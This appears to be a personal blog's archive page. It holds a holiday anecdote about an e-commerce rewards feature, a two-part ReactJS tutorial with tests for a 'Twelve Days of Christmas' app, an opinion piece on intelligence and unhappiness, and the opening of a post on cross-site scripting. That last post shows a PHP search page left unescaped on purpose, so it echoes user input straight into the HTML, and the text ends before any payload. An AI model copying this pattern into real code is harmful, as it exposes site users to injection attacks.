Saturday 26 December 2020

A tiny Christmas e-commerce miracle

It was the afternoon of Christmas Eve, and I was at my desk, at home.

It had been a very quiet week. At least, it was quiet in contrast to the outright pandemonium that was the week before. I won't go through the finer details, but it had been a week that was chock-full of last-minute development work, feature requests and meetings late into the night.

I was sitting on my high stool in the living room staring at a wall of code on the screen of my laptop and doing my darnedest to reverse-engineer that sucker when suddenly I realized something: it had been two full days since anyone called me to do anything so much as change the font size on an invoice template.

Nothing. Zilch. Nada.

Not to say a bit of quiet wasn't a welcome change, but it did make me wonder - where the hell was everybody?

A conversation with a colleague informed me that the Marketing Team, along with the Director, and a few others had spent the past couple days packing deliveries for the orders that were due during Christmas Eve and Christmas Day. And this revelation left me rather stunned because...

...well, let's start from the beginning, shall we?

Backstory

I had joined this company back in October. The first task I was assigned to, was to write an interface for online shoppers that would link up with the company CRM in order to retrieve their Reward Points, and subsequently earn more Reward Points via online purchases. Previously, this had not been possible because the e-store had only been set up a few months ago. The problem statement was: we are losing sales because customers cannot redeem Reward Points or earn them via the e-store. Fix this ASAP.

Fix this.

So I got to work. Other than guidance from the Director and the Marketing Team, I was pretty much on my own. As this was a rush job, no one had any time for my notions of best practices, clean code or unit testing. I threw all that out the window and did what I arguably do best in the absence of all other technical skill - improvise. I won't bore you with the details of how it was eventually done, only that by the end of the third week, after a couple rounds of UAT, we went live.

Chaos ensued the next couple weeks as we grappled with the realities of going live. Schedules had to be adjusted, customizations had to be made for Christmas, and the Marketing Team was responsible for no small amount of changes I had to keep up with. Everyone from Finance to Customer Service seemed to feel the need to weigh in as well. And at that point, things were going slow. The take-up rate for this new feature didn't seem to be adding significantly to revenue, though the fact that it was adding to revenue at all, meant that it worked. Eventually, I got caught up in other tasks and stopped obsessing over how well it was working. It was working, and that would have to be enough for now. I had bigger fish to fry.

Another week passed. Out of nowhere, I was interrupted in the middle of my lunch break to attend to an urgent request - disable all online orders for Christmas Eve. Apparently, Logistics was having some issue or other. Something struck me as odd here, but I got it done and put it out of my mind.

Back to the present

Apparently, my code had served as the bridge to a whole lot of online traffic (and subsequent online sales) while I was busy elsewhere. The volume was so large that Logistics was having trouble in fulfilment. It had gotten so bad that the Marketing Team and Director had needed to personally help with the packing!

Packing!

And that's mind-boggling.

The scrappy piece-of-shit code that still had lots of room for improvement (denoted by TODOs littered in the comments here and there) that I had somehow managed to scrape together in a couple of weeks, had actually helped achieve that much. Not only had it resolved the problem statement, it had exceeded my wildest expectations.

Kudos to the Marketing Team

The Marketing Team had done a phenomenal job in my estimation. They were the driving force behind the crazy volume of sales that had led to this situation. All I had realistically done was build a bridge - it was the Marketing Team that actually increased awareness and drove traffic over that old, rickety bridge.

An old, rickety bridge.

Sure, there would still have been sales if the Marketing Team hadn't gotten involved - just nowhere near these insane numbers. And for that, I give them all the credit in the world. After all, the code I cobbled together either works or doesn't work. If sales hadn't been good, no one would be blaming me for it. So it's only logical that, if things went this well, the Marketing Team should be taking credit.

Well, happy holidays!

It's going to be a good weekend, and I'm just going to take some time to marvel over what we achieved together.

Ho-ho-holy shit,
T___T

Tuesday 22 December 2020

Web Tutorial: The Twelve Days of Christmas (Part 2/2)

I'm back!

What we're missing here are images. Let's not waste those beautiful SVG files! Import the SVGs from the svg folder.

src/components/Row/Row.js
import React from 'react';
import day1 from '../../svg/day1.svg';
import day2 from '../../svg/day2.svg';
import day3 from '../../svg/day3.svg';
import day4 from '../../svg/day4.svg';
import day5 from '../../svg/day5.svg';
import day6 from '../../svg/day6.svg';
import day7 from '../../svg/day7.svg';
import day8 from '../../svg/day8.svg';
import day9 from '../../svg/day9.svg';
import day10 from '../../svg/day10.svg';
import day11 from '../../svg/day11.svg';
import day12 from '../../svg/day12.svg';

import './Row.css';


Then modify the content array. Each object should now have a file property, corresponding to the day number... except for the element at index 0 because that's a dummy, remember?

src/components/Row/Row.js

let content = [
    { text: '', file: '' },
    { text: 'a partridge in a pear tree!', file: day1 },
    { text: 'two turtle doves, and', file: day2 },
    { text: 'three french hens', file: day3 },
    { text: 'four calling birds', file: day4 },
    { text: 'five gold rings', file: day5 },
    { text: 'six swans a-swimming', file: day6 },
    { text: 'seven geese a-laying', file: day7 },
    { text: 'eight maids a-milking', file: day8 },
    { text: 'nine ladies dancing', file: day9 },
    { text: 'ten lords a-leaping', file: day10 },
    { text: 'eleven pipers piping', file: day11 },
    { text: 'twelve drummers drumming', file: day12 }
];


We could now do this, and it would totally work. Just observe...

src/components/Row/Row.js
return (
    <div
        className={ 'Row' + (currentDay >= day ? '' : ' Hidden') }
    >
        <h1>{ content[day].text }</h1>
        <img src={ content[day].file } width="100" height="100" />
    </div>
);




But that's just not good enough. What we want is for n number of images for each day. So if it's Day Three, we want three french hens!

Declare an array, arr. Using a For loop and the push() method, make it have day elements. The elements can be empty; we just want to use it in a map() method.

src/components/Row/Row.js
let arr = [];
for (let i = 0; i < day; i++) arr.push('');


return (
    <div
        className={ 'Row' + (currentDay >= day ? '' : ' Hidden') }
    >


Then declare the component images. Use the map() method to add the required number of appropriate images!

src/components/Row/Row.js
let arr = [];
for (let i = 0; i < day; i++) arr.push('');

const images = arr.map((item, index) => (
        <img key={ day+'img'+index } src={ content[day].file } width="100" height="100" />
    )
);


return (
    <div
        className={ 'Row' + (currentDay >= day ? '' : ' Hidden') }
    >


Then do this.
src/components/Row/Row.js
return (
    <div
        className={ 'Row' + (currentDay >= day ? '' : ' Hidden') }
    >
        <h1>{ content[day].text }</h1>
        { images }
    </div>
);


Magic!


That's it!

Functionality-wise, we're good to go. But if you're interested in learning how to test the app, read on.

Testing

Testing for ReactJS apps isn't really Unit Testing, per se. It's more like DOM behavioral testing, if that makes sense. Let's work on the App component. We will use the ReactJS testing library. Basically, you write the tests and use the command npm test.

In this file, import React and the render and screen objects, and the userEvent object from the testing library. Also import App because that's what we're testing.

src/App/App.test.js
import React from "react";
import { render, screen } from "@testing-library/react";
import userEvent from "@testing-library/user-event";
import App from "./App";


We begin by describing App. This will contain the suite of App's tests.

src/App/App.test.js
import React from "react";
import { render, screen } from "@testing-library/react";
import userEvent from "@testing-library/user-event";
import App from "./App";

describe("App", () => {

});


First, we want to test that App responds to the up and down buttons. So we add a descriptor, and render App.

src/App/App.test.js
describe("App", () => {
    it("should react to up/down button", () => {
        render(
            <App/>
        );
    });

});


What we need next,is a way for the testing library to be able to identify the buttons. So in the App component, add the data-testid attribute for the buttons and give them values.

src/App/App.js
<div className="dayButtons">
    <div className="dayButton" data-testid="BtnUp" onClick={ BtnClickUp }>&#9650;</div>
    <div className="dayButton" data-testid="BtnDown" onClick={ BtnClickDown }>&#9660;</div>
</div>


Also add data-testid for the span tag that encapsulates currentDay.
src/App/App.js
<span data-testid="lblCurrentDay">
{ currentDay }
</span>


By default, day is 1. So if BtnUp is clicked, lblCurrentDay's content should be "2".
src/App/App.test.js
it("should react to up/down button", () => {
    render(
        <App/>
    );

    userEvent.click(screen.getByTestId("BtnUp"));
    expect(screen.getByTestId("lblCurrentDay").textContent).toBe("2");

});


And after that, if BtnDown is clicked, the value should revert to "1". That's how we test using userEvent.

src/App/App.test.js
it("should react to up/down button", () => {
    render(
        <App/>
    );

    userEvent.click(screen.getByTestId("BtnUp"));
    expect(screen.getByTestId("lblCurrentDay").textContent).toBe("2");
    userEvent.click(screen.getByTestId("BtnDown"));
    expect(screen.getByTestId("lblCurrentDay").textContent).toBe("1");

});


Next, we want to test that clicking BtnDown does nothing if the value is "1". So render App, and at the time of rendering, the value should be "1". If BtnDown is clicked, the value in lblCurrentDay should still be "1".

src/App/App.test.js
it("should react to up/down button", () => {
    render(
        <App/>
    );

    userEvent.click(screen.getByTestId("BtnUp"));
    expect(screen.getByTestId("lblCurrentDay").textContent).toBe("2");
    userEvent.click(screen.getByTestId("BtnDown"));
    expect(screen.getByTestId("lblCurrentDay").textContent).toBe("1");
});

it("should not react to down button if day is 1", () => {
    render(
        <App/>
    );

    userEvent.click(screen.getByTestId("BtnDown"));
    expect(screen.getByTestId("lblCurrentDay").textContent).toBe("1");
});


Naturally, what follows next is that we test to see if BtnUp does anything if the value is "12"! So render App, "click" BtnUp more than eleven times. The value should still be "12".

it("should not react to down button if day is 1", () => {
    render(
        <App/>
    );

    userEvent.click(screen.getByTestId("BtnDown"));
    expect(screen.getByTestId("lblCurrentDay").textContent).toBe("1");
});

it("should not react to up button if day is 12", () => {
    render(
        <App/>
    );

    userEvent.click(screen.getByTestId("BtnUp"));
    userEvent.click(screen.getByTestId("BtnUp"));
    userEvent.click(screen.getByTestId("BtnUp"));
    userEvent.click(screen.getByTestId("BtnUp"));
    userEvent.click(screen.getByTestId("BtnUp"));
    userEvent.click(screen.getByTestId("BtnUp"));
    userEvent.click(screen.getByTestId("BtnUp"));
    userEvent.click(screen.getByTestId("BtnUp"));
    userEvent.click(screen.getByTestId("BtnUp"));
    userEvent.click(screen.getByTestId("BtnUp"));
    userEvent.click(screen.getByTestId("BtnUp"));
    userEvent.click(screen.getByTestId("BtnUp"));
    userEvent.click(screen.getByTestId("BtnUp"));
    expect(screen.getByTestId("lblCurrentDay").textContent).toBe("12");
});


That was easy enough. Now we test the Row component. For this, we will not be testing button clicks, so there's no need to import the userEvent object.

src/components/Row/Row.test.js
import React from "react";
import { render, screen } from "@testing-library/react";
import Row from "./Row";


Copy the content array over from Row.js, but remove the file properties. We just want the text. And start describing Row.

src/components/Row/Row.test.js
import React from "react";
import { render, screen } from "@testing-library/react";
import Row from "./Row";

let content = [
    { text: '' },
    { text: 'a partridge in a pear tree!' },
    { text: 'two turtle doves, and' },
    { text: 'three french hens' },
    { text: 'four calling birds' },
    { text: 'five gold rings' },
    { text: 'six swans a-swimming'},
    { text: 'seven geese a-laying' },
    { text: 'eight maids a-milking' },
    { text: 'nine ladies dancing' },
    { text: 'ten lords a-leaping' },
    { text: 'eleven pipers piping' },
    { text: 'twelve drummers drumming' }
];


describe("Row", () => {

});


Next, we render Row. But remember that Row expects two attributes to be passed in - day and currentDay. Let's have day's value to be 2. currentDay can be any value because this test is for day and the value of currentDay doesn't matter.

src/components/Row/Row.test.js
describe("Row", () => {
    it("should display title according to day", () => {
        let day = 2;
        let currentDay = 1;

        render(
            <Row
                day={ day }
                currentDay={ currentDay }
            />
        );

    });
});


Here, we expect the text from the content array, pointed to by day, to be part of the DOM. Because that's what happens - the text is displayed according to the value of day.

src/components/Row/Row.test.js
describe("Row", () => {
    it("should display title according to day", () => {
        let day = 2;
        let currentDay = 1; // any value

        render(
            <Row
                day={ day }
                currentDay={ currentDay }
            />
        );

        expect(screen.queryByText(content[day].text)).toBeInTheDocument();
    });
});


The next test again tests the value of day. The number of SVGs displayed should equal the value of day. So we use the queryAllByTestId() method of the screen object, pass in "imgDay" as an argument, and test for the number of elements returned!

src/components/Row/Row.test.js
describe("Row", () => {
    it("should display title according to day", () => {
        let day = 2;
        let currentDay = 1; // any value

        render(
            <Row
                day={ day }
                currentDay={ currentDay }
            />
        );

        expect(screen.queryByText(content[day].text)).toBeInTheDocument();
    });

    it("should display number of images according to day", () => {
        let day = 2;
        let currentDay = 1; // any value

        render(
            <Row
                day={ day }
                currentDay={ currentDay }
            />
        );

        expect(screen.queryAllByTestId("imgDay")).toHaveLength(2);
    });

});


Don't forget to add the data-testid attribute!

src/components/Row/Row.js
<img data-testid="imgDay" key={ day+'img'+index } src={ content[day].file } width="100" height="100" />


Now the value of currentDay matters, because we're testing currentDay against day. Again, render Row with the same attributes.
src/components/Row/Row.test.js
describe("Row", () => {
    it("should display title according to day", () => {
        let day = 2;
        let currentDay = 1; // any value

        render(
            <Row
                day={ day }
                currentDay={ currentDay }
            />
        );

        expect(screen.queryByText(content[day].text)).toBeInTheDocument();
    });

    it("should display number of images according to day", () => {
        let day = 2;
        let currentDay = 1; // any value

        render(
            <Row
                day={ day }
                currentDay={ currentDay }
            />
        );

        expect(screen.queryAllByTestId("imgDay")).toHaveLength(2);
    });

    it("should be hidden if current day is lower than day", () => {
        let day = 2;
        let currentDay = 1;

        const { container } = render(
            <Row
                day={ day }
                currentDay={ currentDay }
            />
        );
    });

});


If currentDay is less than day, the class of Row should have Hidden.

src/components/Row/Row.test.js
it("should be hidden if current day is lower than day", () => {
    let day = 2;
    let currentDay = 1;

    const { container } = render(
        <Row
            day={ day }
            currentDay={ currentDay }
        />
    );

    expect(container.firstChild.classList.contains("Hidden")).toBe(true);
});



And finally, the reverse of that last test.

src/components/Row/Row.test.js

it("should be hidden if current day is lower than day", () => {
    let day = 2;
    let currentDay = 1;

    const { container } = render(
        <Row
            day={ day }
            currentDay={ currentDay }
        />
    );

    expect(container.firstChild.classList.contains("Hidden")).toBe(true);
});

it("should not be hidden if current day is not lower than day", () => {
    let day = 2;
    let currentDay = 3;

    const { container } = render(
        <Row
            day={ day }
            currentDay={ currentDay }
        />
    );

    expect(container.firstChild.classList.contains("Hidden")).toBe(false);
});


So when you run the test suite, you should see this.


That's it for testing. These are really simple tests, but then again this is a really simple app. There's always more you can do, but I think this range of tests is enough for now.

True love is so Row-mantic,
T___T

Sunday 20 December 2020

Web Tutorial: The Twelve Days of Christmas (Part 1/2)

Christmas is coming!

And for the annual Christmas-themed web tutorial, we're going to embark on something deliciously frivolous - a ReactJS App that interactively shows the lyrics of the Christmas carol The Twelve Days of Christmas.

For this, I will be assuming you already know the steps to creating an app through NodeJS Package Manager. (And if you don't here's a link!) And as such, I'll mainly be walking through the setup, the implementation and testing. This isn't really meant to be a mobile app, so I'm not going to bother with the bootstrapping and shit.

Basic setup

We start off with a freshly created ReactJS App. There are some changes I like to make to a newly-minted app, such as changing the title. You don't have to, and choosing not to do so will not affect your app in any way.

public\index.html
<title>12 Days of Christmas</title>


Now let's do something a bit more useful. In the src folder, there's where we will be working most of the time. I am going to be working with a lot of SVG files, twelve of them, to be exact. So let's create a sub-folder, svg, within src.

In that folder are the SVG fies I will be working with. All of them were generated using Method Draw SVG Editor, a free tool which served its purpose superbly.

If you want the files, they are at this link.

Got all that? This is the easy part, so don't get lost here.

Clean up App

In the src folder, we will need App.js and App.css; however, we will not need whatever NPM generated for us, so feel free to remove all that code inside those two files. We can keep index.js and index.css; no need to touch those.

This isn't going to be mobile-friendly, so for the App CSS class, just align all text center.

src/App.css
.App {
    text-align: center;
}


Here, we'll need to import the CSS file. Also, import the React from the react library.

src/App.js
import React from 'react';
import './App.css';


Add the App() function.

src/App.js
import React from 'react';
import './App.css';

function App() {

}


It should return JSX - a div with a class name of App (which we've styled) and some text in a h1 tag. Note the extra space in the middle of that text; we're going to fill it right up later!

src/App.js
import React from 'react';
import './App.css';

function App() {
    return (
        <div className="App">
            <h1>On the  day of Christmas my true love gave to me</h1>
          
        </div>
    );

}


Finally, we export App so that the parent (index.js) can use it.

src/App.js
import React from 'react';
import './App.css';

function App() {
    return (
        <div className="App">
            <h1>On the  day of Christmas my true love gave to me</h1>
          
        </div>
    );
}

export default App;


Take a look!

The aim here is to be able to adjust the number of the day. To do that, we'll need controls. Add this placeholder to the text.

src/App.js
<h1>On the { dayControls } day of Christmas my true love gave to me</h1>


Now, within the App() function, we will create the dayControls component. It will consist of a div with a class of dayControl.

src/App.js
import React from 'react';
import './App.css';

function App() {
    const dayControls = (
        <div className="dayControl">

        </div>
    );


    return (
        <div className="App">
            <h1>On the { dayControls } day of Christmas my true love gave to me</h1>
          
        </div>
    );
}

export default App;


Within that div, we have two more divs, styled using dayText and dayButtons, respectively.

src/App.js
import React from 'react';
import './App.css';

function App() {
    const dayControls = (
        <div className="dayControl">
            <div className="dayText">

            </div>

            <div className="dayButtons">

            </div>

        </div>
    );

    return (
        <div className="App">
            <h1>On the { dayControls } day of Christmas my true love gave to me</h1>
          
        </div>
    );
}

export default App;


And in that second div, we'll put two more divs. Those will be our up and down buttons. Style them using the class dayButton.

src/App.js
import React from 'react';
import './App.css';

function App() {
    const dayControls = (
        <div className="dayControl">
            <div className="dayText">

            </div>

            <div className="dayButtons">
                <div className="dayButton">&#9650;</div>
                <div className="dayButton">&#9660;</div>

            </div>
        </div>
    );

    return (
        <div className="App">
            <h1>On the { dayControls } day of Christmas my true love gave to me</h1>
          
        </div>
    );
}

export default App;


OK, just some styling here. dayControl needs to be inline, but we also want to specify width, so the display property will be set to inline-block.

src/App.css
.App {
    text-align: center;
}

.dayControl {
    display: inline-block;
    width: 4em;
}


The dayButtons div will float left of its parent. We'll give it a nominal width and height.

src/App.css
.App {
    text-align: center;
}

.dayControl {
    display: inline-block;
    width: 4em;
}

.dayButtons {
    float: left;
    width: 1em;
    height: 100%;
}


From here on, the dayButton CSS class is mostly a matter of aesthetic choice.

src/App.css
.App {
    text-align: center;
}

.dayControl {
    display: inline-block;
    width: 4em;
}

.dayButtons {
    float: left;
    width: 1em;
    height: 100%;
}

.dayButtons .dayButton{
    width: 100%;
    height: 50%;
    text-align: right;
    background: transparent;
    color: rgb(0, 0, 0);
    font-weight: normal;
    font-size: 0.5em;
    cursor: pointer;
}

.dayButtons .dayButton:hover{
    color: rgb(100, 100, 100);    
    font-weight: bold;
}


And this is what it all looks like.

Now let's introduce another variable in there - currentDay. This is the variable that is eventually going to control how it all looks.

src/App.js
const dayControls = (
    <div className="dayControl">
        <div className="dayText">
            { currentDay }
        </div>

        <div className="dayButtons">
            <div className="dayButton">&#9650;</div>
            <div className="dayButton">&#9660;</div>
        </div>
    </div>
);


currentDay is state data, and to manage that, we'll use React hooks. To do that, we need to import useState.

src/App.js
import React, { useState } from 'react';


Then, using the useState() function we just imported, we declare currentDay as a hook, and setCurrentDay as the function that alters the value of that piece of data. The default will be 1, which we'll pass into useState as an argument.

src/App.js
import React, { useState } from 'react';
import './App.css';

function App() {
    const [currentDay, setCurrentDay] = useState(1);

    const dayControls = (
        <div className="dayControl">
            <div className="dayText">
                { currentDay }
            </div>

            <div className="dayButtons">
                <div className="dayButton">&#9650;</div>
                <div className="dayButton">&#9660;</div>
            </div>
        </div>
    );


In the CSS, let's set the text to red.

src/App.css
.dayControl {
    display: inline-block;
    width: 4em;
}

.dayText {
    color: #FF0000;
    float: right;
    width: 3em;
}


.dayButtons {
    float: left;
    width: 1em;
    height: 100%;
}


Yep!
Let's do some magic here. Add onClick events to the buttons, and declare their respective functions.

src/App.js
const [currentDay, setCurrentDay] = useState(1);

const BtnClickUp = () => {

}

const BtnClickDown = () => {
      
}


const dayControls = (
    <div className="dayControl">
        <div className="dayText">
            { currentDay }
        </div>

        <div className="dayButtons">
            <div className="dayButton" onClick={ BtnClickUp }>&#9650;</div>
            <div className="dayButton" onClick={ BtnClickDown }>&#9660;</div>
        </div>
    </div>
);


When the up button is clicked, we want to use setCurrentDay() to increment the value of currentDay. But only if currentDay is not still less than 12. Similarly, we'll set a floor for currentDay at 1, if the down button is clicked. Because we're only going to go from Day 1 to 12, yes?

src/App.js
const BtnClickUp = () => {
    if (currentDay < 12) {
        setCurrentDay(currentDay + 1);        
    }

}

const BtnClickDown = () => {
    if (currentDay > 1) {
        setCurrentDay(currentDay - 1);           
    }  
      
}


This guy should now respond to your button clicks!

But that's not nearly enough. Let's add a suffix to that number. In this component, right after currentDay, add a sup tag. And in that tag, introduce the variable daySuffix, which is an array. The index of the array will be the value of currentDay, minus 1.

src/App.js
const dayControls = (
    <div className="dayControl">
        <div className="dayText">
            { currentDay }
            <sup>
                { daySuffix[currentDay - 1] }
            </sup>

        </div>

        <div className="dayButtons">
            <div className="dayButton" onClick={ BtnClickUp }>&#9650;</div>
            <div className="dayButton" onClick={ BtnClickDown }>&#9660;</div>
        </div>
    </div>
);


And now, we will add the daySuffix array. It's basically a list of suffixes that come after each number - 1st, 2nd, 3rd and so on until we reach 12. There's probably a less heavy-handed way of doing this, but it's just twelve elements and there are better uses for my time.

src/App.js
    const [currentDay, setCurrentDay] = useState(1);

    const daySuffix = [
        "st",
        "nd",
        "rd",
        "th",
        "th",
        "th",
        "th",
        "th",
        "th",
        "th",
        "th",
        "th"
    ]


    const BtnClickUp = () => {
        if (currentDay < 12) {
            setCurrentDay(currentDay + 1);        
        }
    }


Now try it!

That's just the first line of the song, though. The rest will be handled by the use of a reusable component. I'm gonna call it, rather unimaginatively, Row. First, we do an import. We will import Row from the directory components and subdirectory Row, both of which we haven't created yet.

src/App.js
import React, { useState } from 'react';
import './App.css';
import Row from './components/Row';


And now we're going to do something really lazy. In the return statement, we will add twelve instances of the Row component. In each one, we will pass in the value of currentDay as an attribute. We will also pass in the day attribute, numbered from 12 to 1.

src/App.js
return (
    <div className="App">
        <h1>On the { dayControls } day of Christmas my true love gave to me</h1>
        <Row currentDay = {currentDay} day="12" />
        <Row currentDay = {currentDay} day="11" />
        <Row currentDay = {currentDay} day="10" />
        <Row currentDay = {currentDay} day="9" />
        <Row currentDay = {currentDay} day="8" />
        <Row currentDay = {currentDay} day="7" />
        <Row currentDay = {currentDay} day="6" />
        <Row currentDay = {currentDay} day="5" />
        <Row currentDay = {currentDay} day="4" />
        <Row currentDay = {currentDay} day="3" />
        <Row currentDay = {currentDay} day="2" />
        <Row currentDay = {currentDay} day="1" /> 
           
    </div>
);


Next, create the directory components. In that directory, create another directory Row. Then create Row.js within it.

In that file, we will import React again.

src/components/Row/Row.js
import React from 'react';


Also import Row.css. We will create that file soon.

src/components/Row/Row.js
import React from 'react';
import './Row.css';


And from here, we define the function Row(), with a return statement. And then export Row.

src/components/Row/Row.js
import React from 'react';
import './Row.css';

function Row(props) {       
    return (

    );
}


export default Row;


Create index.js, and add this line. Now whenever someone imports from the Row directory, the first file to reference will be index.js. And index.js will export default (which is Row) from the Row directory. This has the advantage of the caller not needing to know the implementation details of Row (what component name to use, etc), but just needing to know that the component is from the Row directory.

src/components/Row/index.js
export { default } from './Row';


Now back to the Row component. Remember we passed in two attributes? They can be accessed from props. So declare day and currentDay accordingly.

src/components/Row/Row.js
function Row(props) {
    let day = props.day;
    let currentDay = props.currentDay;


    return (

    );
}


Then declare content as an array. Its elements are objects, each with a single property for now. The property is text, and it is the rest of the lyrics, according to day. The element at index position 0 (the first one) is just a dummy.

src/components/Row/Row.js
function Row(props) {
    let day = props.day;
    let currentDay = props.currentDay;

    let content = [
        { text: '', file: '' },
        { text: 'a partridge in a pear tree!' },
        { text: 'two turtle doves, and' },
        { text: 'three french hens' },
        { text: 'four calling birds' },
        { text: 'five gold rings' },
        { text: 'six swans a-swimming'},
        { text: 'seven geese a-laying' },
        { text: 'eight maids a-milking' },
        { text: 'nine ladies dancing' },
        { text: 'ten lords a-leaping' },
        { text: 'eleven pipers piping' },
        { text: 'twelve drummers drumming' }
    ];


    return (

    );
}


In the return statement, we return a div.
src/components/Row/Row.js
return (
    <div>

    </div>

);


Here, we pass in the text property of the relevant element in the content array, pointed to by day.
src/components/Row/Row.js
return (
    <div>
        <h1>{ content[day].text }</h1>
    </div>
);


So, here are our rows, but it's not really what we want, is it?

Create the CSS file. Row should take up 100% width and have, say, 200 pixels in height. In addition, set the overflow property to hidden. I added the transition property just for fun. The Hidden class is at zero transparency and height.

src/components/Row/Row.css
.Row {
    width: 100%;
    height: 200px;
    overflow: hidden;
    transition: all 1s;
}

.Hidden {
    opacity: 0;
    height: 0px;
}


Now in here, set the class to be Row, and if currentDay is less than day, add Hidden. That means if whatever day is currently shown, only the Row components with the day attribute lesser than or equal to currentDay, will be shown. In plain English, if you are at Day Four, you only want to see rows One to Four.

src/components/Row/Row.js
return (
    <div
        className={ 'Row' + (currentDay >= day ? '' : ' Hidden') }
    >
        <h1>{ content[day].text }</h1>
    </div>
);


Does it work? Try clicking the up and down buttons. The appropriate rows should appear and disappear. There's a whole lot of white space because we set the height to 200 pixels, but that's deliberate. We're making space for the images.

Next

We'll put in the images, and go through some rudimentary automated tests!

Wednesday 16 December 2020

The Fictional Relationship between Intelligence and Misery

Intelligent people tend to be unhappy - that's the general consensus anyway, and it seems reasonable when we examine the reasoning behind it. Intelligence is equated with complexity of thought. And it is precisely simplicity of thought that eases the path to contentment - or happiness, if you will.

Think of happiness as the flow chart pictured below.

The paths to happiness.


It's a process - Point A to Point B. Those whose thoughts are simpler, get from Point A to Point B with little issue. Those whose thoughts are complex, inevitably take a longer time to arrive at Point B, if ever.

Ergo, intelligent people tend towards dissatisfaction.

I know people who are perpetually unhappy. These days, it seems to be the trend. I'm unhappy, therefore I must be smart. These people are either determined to be unhappy in order to prove their intelligence, or using this proof of their intelligence as consolation for their unhappiness... both of which strike me as being very far from smart.

Propositional Logic

Back when I was a University student taking a module on Heuristics And Artificial Intelligence, part of the basics was learning the difference between different kinds of Propositional Logic. The most straightforward form was Deduction, which involves deriving a conclusion from a set of premises. In the case of the subject here today, this particular deduction appears to be as follows:

Premise A: People are unhappy because they are smart.
Premise B: I am unhappy.

Conclusion: I am smart.

Because the above deduction is correct on paper... only if one assumes that Premise A is always true. But it's not. It's not only smart people that are unhappy. Premise A is intellectual vanity, nothing more.

The fallacy here is that intelligent people can never be truly happy. What is true happiness, anyway? It's a lot like true love - many people like to wax lyrical about it, but no one can really define it for you. And when they do try, it invariably turns out to be largely inadequate or a heap of verbal dogshit.

Why people are unhappy

I've come across more than one wannabe genius sharing claptrap like this article on their Social Media feeds to hint (or even outright declare) that they're always unhappy simply because their intelligence makes them so.

Here's what this article (and others of its ilk) claims...

Intelligent people overanalyze everything.
Many people with a high IQ tend to be overthinkers who constantly analyze everything happening in their life and beyond. This can be draining at times, especially when your thinking processes take you to undesirable, frustrating conclusions.

Sure, being intelligent gives one the ability to overthink. You know what would be even more intelligent? Recognizing that such a mental exercise is ultimately unproductive and moving on with things more worthy of your time. 


Intelligent people have high standards.
Smart people know what they want and don't settle for less than that, no matter what area of life we are talking about. This means that it's more difficult for them to be satisfied with their achievements, relationships and literally everything that has a place in their life.

Part of intelligence is not simply about recognizing the possibilities, but also understanding constraints. It's not only intelligent people who have high standards for themselves - plenty of mediocre people do the same while failing to recognize their own limitations. Without that self-honesty, all it amounts to is delusions of grandeur, thinking they deserve more than what they have, and ultimately bitterness when they inevitably fail. After all, you can't work around limitations you don't recognize or conquer weaknesses you refuse to acknowledge.


Intelligent people are too hard on themselves.
Sometimes, you just lie there in your bed trying to fall asleep and suddenly recall a situation (which probably happened years or, at least, months ago) when you didn't act the way you should have. This is enough to mess with your sleep and spoil your mood.

I won't say that some introspection isn't useful from time to time as a tool for digesting your experiences. But if you're doing it too often, that usually just means one thing - you didn't learn the first few times. And that's not smart. Aren't intelligent people supposed to be quick learners?


Reality is not enough.
People with high IQs never cease to seek something bigger – a pattern, a meaning, a purpose. The deepest and the dreamiest of them don't stop there - their restless mind and imagination don’t let them just relax and enjoy "the good things in life".

Well, damn. I didn't know having your head in the clouds automatically made you a genius. I should do that more often. 


Lack of deep communication and understanding.
Sadly, intelligent people rarely have this pleasure. Many of them feel alone and misunderstood, like if no one is able to see and appreciate the depth of their minds.

Jesus, that's some Grade A self-pitying bullshit right there. You're not complex, sweetheart... you just have a complex. Learn the difference. Maybe stop trying so damn hard to be "deep" and just be real. 

That's not to say that this article is entirely wrong. But it needs to be put in the right context. You wouldn't find a tortoise or a gazelle worrying about anything beyond food, shelter and natural predators. You see, things like overthinking, daydreaming, obsessing and delusions of grandeur - they do require intelligence. Human intelligence, to be explicit. Only human intelligence could manage these higher functions.

And not exceptional human intelligence. Average human intelligence would do.

So if you're unhappy and think all of the above apply to you, you certainly are intelligent. Just not intelligent enough to avoid all these obvious mental traps. After all, does your dissatisfaction or unhappiness result in any productive action? No? Then you're wasting time. And wasting time, while not a definite indicator of stupidity, doesn't exactly scream brainiac.

Lastly...

Granted, happiness isn't something you can turn on and off like a switch. But you sure as hell can remove some obstacles to your happiness - primarily by getting over yourself. Take responsibility. Stop hiding behind shitty articles.

Articles like these are harmful. They enable your unhappiness. They give you a convenient crutch to use if you find yourself unhappy but unwilling to take responsibility for it.

It may not be intelligence. You could simply be clinically depressed, and if that's the case, you need to go seek medical help before your condition makes you do something stupid. And if you're not clinically depressed, then you need to grow up, stop mentally wanking off to this shit and proclaiming (or even hinting) that it's your intelligence that's the cause of your unhappiness.

Keeping it simple,
T___T

Wednesday 9 December 2020

Cross-site Scripting Without JavaScript

It has been said that in order to guard against Cross-site Scripting (XSS), a developer needs to be wary of JavaScript being executed in content displayed on the website. That's certainly true, but inadequate. XSS is not only about malicious JavaScript being executed in a website via HTML injection. There are plenty of avenues to attack via HTML injection without the use of JavaScript.

To illustrate what I'm saying, here's a sample search page in PHP with a bit of Lorem Ipsum. It has not been protected against XSS.
<!DOCTYPE html>
<html>
    <head>
        <title>XSS test</title>
    </head>
    <body>
        <?php
        if (isset($_POST["search"]))
        {
            echo "You searched for: " . $_REQUEST["search"];
        }
        ?>
        <form method="POST">
            Search:
            <input name="search" placeholder="Enter search terms here...">
            <input type="submit" value="Search">
        </form>

        <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nam a justo metus. Integer semper eros ligula, ut porta neque feugiat et. Aenean at sem iaculis, tempus libero non, blandit augue. Phasellus eu dolor ac lacus congue rhoncus. Aliquam tempor, dolor vel porta fermentum, arcu tellus vestibulum turpis, sed condimentum enim lectus ut ligula. Maecenas id consectetur enim, a rutrum risus. Donec tempor ornare viverra. Ut bibendum nunc ac ligula rhoncus, quis rhoncus augue tempus. Mauris vulputate tempor diam, vitae mattis ligula lacinia sit amet.</p>

        <p>Praesent ac turpis pretium, pretium augue ullamcorper, consequat diam. Vestibulum vehicula scelerisque luctus. Nulla eget sollicitudin urna, in consectetur sem. Vestibulum vel tortor libero. Nunc maximus leo non urna cursus, vitae suscipit est gravida. Aliquam ac vulputate ligula. Sed et congue ligula. Phasellus nec imperdiet augue, in aliquam arcu. Sed mollis eleifend leo et tincidunt. Curabitur scelerisque dolor id mi commodo volutpat. Nam quis lacinia neque, at imperdiet augue.</p>

